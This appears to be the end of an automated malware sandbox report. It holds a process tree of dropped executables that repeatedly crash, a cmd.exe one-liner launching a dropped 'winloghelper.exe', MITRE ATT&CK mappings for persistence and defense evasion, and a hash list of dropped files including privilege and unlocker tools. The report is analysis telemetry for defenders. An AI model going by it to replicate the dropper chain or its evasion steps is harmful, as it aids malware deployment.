                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:456
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 456 -s 508
                                  3⤵
                                  • Program crash
                                  PID:5224
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5344
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5344 -s 508
                                  3⤵
                                  • Program crash
                                  PID:5172
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1252
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 508
                                  3⤵
                                  • Program crash
                                  PID:6092
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4328
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4328 -s 516
                                  3⤵
                                  • Program crash
                                  PID:3408
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3996
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 508
                                  3⤵
                                  • Program crash
                                  PID:5924
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:6136
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6136 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4940
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2792
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 508
                                  3⤵
                                  • Program crash
                                  PID:3508
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5496
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5496 -s 508
                                  3⤵
                                  • Program crash
                                  PID:2472
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5596
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 508
                                  3⤵
                                  • Program crash
                                  PID:6140
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2536
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2536 -s 508
                                  3⤵
                                  • Program crash
                                  PID:1796
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5076
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4248
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1588
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1588 -s 508
                                  3⤵
                                  • Program crash
                                  PID:1568
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2996
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4932
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3452
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3452 -s 508
                                  3⤵
                                  • Program crash
                                  PID:1056
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1748
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1748 -s 508
                                  3⤵
                                  • Program crash
                                  PID:416
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5276
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 508
                                  3⤵
                                  • Program crash
                                  PID:5252
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4824
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 508
                                  3⤵
                                  • Program crash
                                  PID:3792
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4744
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 516
                                  3⤵
                                  • Program crash
                                  PID:5036
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2064
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 508
                                  3⤵
                                  • Program crash
                                  PID:1788
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5948 -ip 5948
                              1⤵
                                PID:5204
                              • C:\Windows\system32\cmd.exe
                                cmd.exe
                                1⤵
                                  PID:3748
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1548 -ip 1548
                                  1⤵
                                    PID:628
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3952 -ip 3952
                                    1⤵
                                      PID:2424
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5108 -ip 5108
                                      1⤵
                                        PID:4424
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                        1⤵
                                        • Executes dropped EXE
                                        PID:3804
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3016 -ip 3016
                                        1⤵
                                          PID:5460
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4148 -ip 4148
                                          1⤵
                                            PID:6084
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4508 -ip 4508
                                            1⤵
                                              PID:2544
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2616 -ip 2616
                                              1⤵
                                                PID:4432
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1876 -ip 1876
                                                1⤵
                                                  PID:5512
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3276 -ip 3276
                                                  1⤵
                                                    PID:1128
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 456 -ip 456
                                                    1⤵
                                                      PID:5124
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5344 -ip 5344
                                                      1⤵
                                                        PID:5820
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1252 -ip 1252
                                                        1⤵
                                                          PID:3140
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4328 -ip 4328
                                                          1⤵
                                                            PID:2440
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3996 -ip 3996
                                                            1⤵
                                                              PID:5800
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 6136 -ip 6136
                                                              1⤵
                                                                PID:4060
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2792 -ip 2792
                                                                1⤵
                                                                  PID:5232
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5496 -ip 5496
                                                                  1⤵
                                                                    PID:888
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5596 -ip 5596
                                                                    1⤵
                                                                      PID:4292
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2536 -ip 2536
                                                                      1⤵
                                                                        PID:5380
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5076 -ip 5076
                                                                        1⤵
                                                                          PID:4784
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1588 -ip 1588
                                                                          1⤵
                                                                            PID:3260
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2996 -ip 2996
                                                                            1⤵
                                                                              PID:5300
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3452 -ip 3452
                                                                              1⤵
                                                                                PID:3908
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1748 -ip 1748
                                                                                1⤵
                                                                                  PID:4620
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd.exe /c start " " "C:\Windows\winloghelper.exe"
                                                                                  1⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:5960
                                                                                  • C:\Windows\winloghelper.exe
                                                                                    "C:\Windows\winloghelper.exe"
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:3148
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5276 -ip 5276
                                                                                  1⤵
                                                                                    PID:5136
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4824 -ip 4824
                                                                                    1⤵
                                                                                      PID:5968
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4744 -ip 4744
                                                                                      1⤵
                                                                                        PID:1272
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2064 -ip 2064
                                                                                        1⤵
                                                                                          PID:404

                                                                                        Network

                                                                                              MITRE ATT&CK Enterprise v16

                                                                                              Reconnaissance

                                                                                              Resource Development

                                                                                              Initial Access

                                                                                              Execution

                                                                                              Command and Scripting Interpreter

                                                                                              2
                                                                                              T1059

                                                                                              PowerShell

                                                                                              1
                                                                                              T1059.001

                                                                                              Windows Command Shell

                                                                                              1
                                                                                              T1059.003

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              System Services

                                                                                              2
                                                                                              T1569

                                                                                              Service Execution

                                                                                              2
                                                                                              T1569.002

                                                                                              Persistence

                                                                                              Boot or Logon Autostart Execution

                                                                                              2
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              2
                                                                                              T1547.001

                                                                                              Create or Modify System Process

                                                                                              3
                                                                                              T1543

                                                                                              Windows Service

                                                                                              3
                                                                                              T1543.003

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Privilege Escalation

                                                                                              Boot or Logon Autostart Execution

                                                                                              2
                                                                                              T1547

                                                                                              Registry Run Keys / Startup Folder

                                                                                              2
                                                                                              T1547.001

                                                                                              Create or Modify System Process

                                                                                              3
                                                                                              T1543

                                                                                              Windows Service

                                                                                              3
                                                                                              T1543.003

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Defense Evasion

                                                                                              File and Directory Permissions Modification

                                                                                              1
                                                                                              T1222

                                                                                              Impair Defenses

                                                                                              1
                                                                                              T1562

                                                                                              Modify Registry

                                                                                              3
                                                                                              T1112

                                                                                              Virtualization/Sandbox Evasion

                                                                                              2
                                                                                              T1497

                                                                                              Credential Access

                                                                                              Discovery

                                                                                              Process Discovery

                                                                                              1
                                                                                              T1057

                                                                                              Query Registry

                                                                                              4
                                                                                              T1012

                                                                                              System Information Discovery

                                                                                              3
                                                                                              T1082

                                                                                              System Location Discovery

                                                                                              1
                                                                                              T1614

                                                                                              System Language Discovery

                                                                                              1
                                                                                              T1614.001

                                                                                              Virtualization/Sandbox Evasion

                                                                                              2
                                                                                              T1497

                                                                                              Lateral Movement

                                                                                              Collection

                                                                                              Command and Control

                                                                                              Exfiltration

                                                                                              Impact

                                                                                              Service Stop

                                                                                              2
                                                                                              T1489

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              IObitUnlocker.dll
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
                                                                                              • Size 79KB
                                                                                              • SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                              • Size 2.6MB
                                                                                              • SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 3KB
                                                                                              • SHA256 ba4e2d0d32b3f98bdc5fb6772716d565a9759b6c2a7ddde78222cf035f4e80d4
                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 215KB
                                                                                              • SHA256 fa0f4f03cd155ef385f244cb9273a55b7357151048423f001df21aae6bdf0aab
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 29KB
                                                                                              • SHA256 2348c283842a7508d014f8071934930f417d1ebfe2f039a2823c42bc9b04ae03
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 271KB
                                                                                              • SHA256 a60c56bc76f44f77f3f7c05d9aca1025c2d5d2966302374a07f1f3eb1cc9d87f
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 325KB
                                                                                              • SHA256 bddfbd302aa40d72d1ccd53e13ff7fe48a06edffe89763f539d51b27cbf776ca
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 376KB
                                                                                              • SHA256 dec99c495002cd20afa6758f1a575c9c1119c77a37f69185d7044ef85a3074f5
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 107KB
                                                                                              • SHA256 1064fcf4510c7931d63fa3aae7e0d9d25f74f113f1501f34678b7df2a1e253c6
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 108KB
                                                                                              • SHA256 699353b5e8019eacd8e84c7bc4f0c31f4bfe69071cb028aff18aa6e98a2a879c
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.log
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                              • Size 161KB
                                                                                              • SHA256 5f0795e21fbcf6d03cc2919bb8344383085402e4b8021442f7d1df020c9f0875
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              IObitUnlocker.sys
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                                                                              • Size 40KB
                                                                                              • SHA256 1845fe8545b6708e64250b8807f26d095f1875cc1f6159b24c2d0589feb74f0c
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              1U32L5.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe
                                                                                              • Size 2.6MB
                                                                                              • SHA256 ef1e4378a1376a5c6107c2a95b0daf5d1ffd2ac1dfc4d6efa7958ab5c82571b8
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              2d9777.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2d9777.exe
                                                                                              • Size 1.9MB
                                                                                              • SHA256 1db49adeed3c5b1f738b8693e20acd9e274727f3696ea339c99d75037f352fca
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              WindowsLogsHelper.xml
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml
                                                                                              • Size 2KB
                                                                                              • SHA256 da4d6af424663eb64a7d866e036c661fdf4bf3c105d33d27356f14c0b75839bd
                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                              Submit Download

                                                                                              __PSScriptPolicyTest_43c1ixnx.ely.ps1
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43c1ixnx.ely.ps1
                                                                                              • Size 60B
                                                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                              Submit Download

                                                                                              7z.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                                                                              • Size 828KB
                                                                                              • SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              NSudoLG.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                                                                                              • Size 174KB
                                                                                              • SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              game.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                                              • Size 1.3MB
                                                                                              • SHA256 8746ea94e6a074610f9640abbd9522ab75e214128854f55bd223ed362f4de6a4
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              land.zip
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\hater\land.zip
                                                                                              • Size 1.3MB
                                                                                              • SHA256 8571d1c120503ccd1b293d53bf90495006e8d6986cb9ba50fa448d4bfac87f23
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              nircmd.exe
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
                                                                                              • Size 117KB
                                                                                              • SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              uCumBU4.bat
                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\uCumBU4.bat
                                                                                              • Size 10KB
                                                                                              • SHA256 07bc6a2ed72e02e1988d152188bed752c21ab5282649f22c4c168a176cbdc690
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              systemhelper.exe
                                                                                              • Path C:\Windows\systemhelper.exe
                                                                                              • Size 2.1MB
                                                                                              • SHA256 593e2fe6aa67ff31a5173dfcc22f578798c48382ffb53ba680de2333434a5149
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              winloghelper.exe
                                                                                              • Path C:\Windows\winloghelper.exe
                                                                                              • Size 416KB
                                                                                              • SHA256 c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                              Submit Download

                                                                                              memory/560-686-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/1216-83-0x0000016E76C20000-0x0000016E76C2A000-memory.dmp
                                                                                              Download

                                                                                              memory/1216-85-0x0000016E76CC0000-0x0000016E76CD2000-memory.dmp
                                                                                              Download

                                                                                              memory/2648-1556-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/3804-395-0x0000000000010000-0x000000000001D000-memory.dmp
                                                                                              Download

                                                                                              memory/3968-2137-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/4308-1847-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/4544-80-0x000001E5FB510000-0x000001E5FB66C000-memory.dmp
                                                                                              Download

                                                                                              memory/4544-79-0x000001E5F8DC0000-0x000001E5F8F18000-memory.dmp
                                                                                              Download

                                                                                              memory/4732-976-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/4976-1266-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/5192-393-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-27-0x0000000005F10000-0x0000000006264000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-32-0x0000000007C30000-0x00000000081D4000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-28-0x0000000006500000-0x000000000651E000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-30-0x0000000007480000-0x0000000007516000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-19-0x0000000005E60000-0x0000000005EC6000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-31-0x00000000069D0000-0x00000000069EA000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-18-0x0000000005D40000-0x0000000005DA6000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-29-0x0000000006540000-0x000000000658C000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-17-0x0000000005650000-0x0000000005672000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-16-0x00000000056A0000-0x0000000005CC8000-memory.dmp
                                                                                              Download

                                                                                              memory/5776-15-0x0000000002C00000-0x0000000002C36000-memory.dmp
                                                                                              Download

                                                                                              memory/5880-46-0x0000000000CD0000-0x000000000113E000-memory.dmp
                                                                                              Download

                                                                                              memory/5880-68-0x0000000000CD0000-0x000000000113E000-memory.dmp
                                                                                              Download

                                                                                              memory/6096-8-0x0000000005020000-0x0000000005042000-memory.dmp
                                                                                              Download

                                                                                              memory/6096-7-0x00000000005A0000-0x0000000000834000-memory.dmp
                                                                                              Download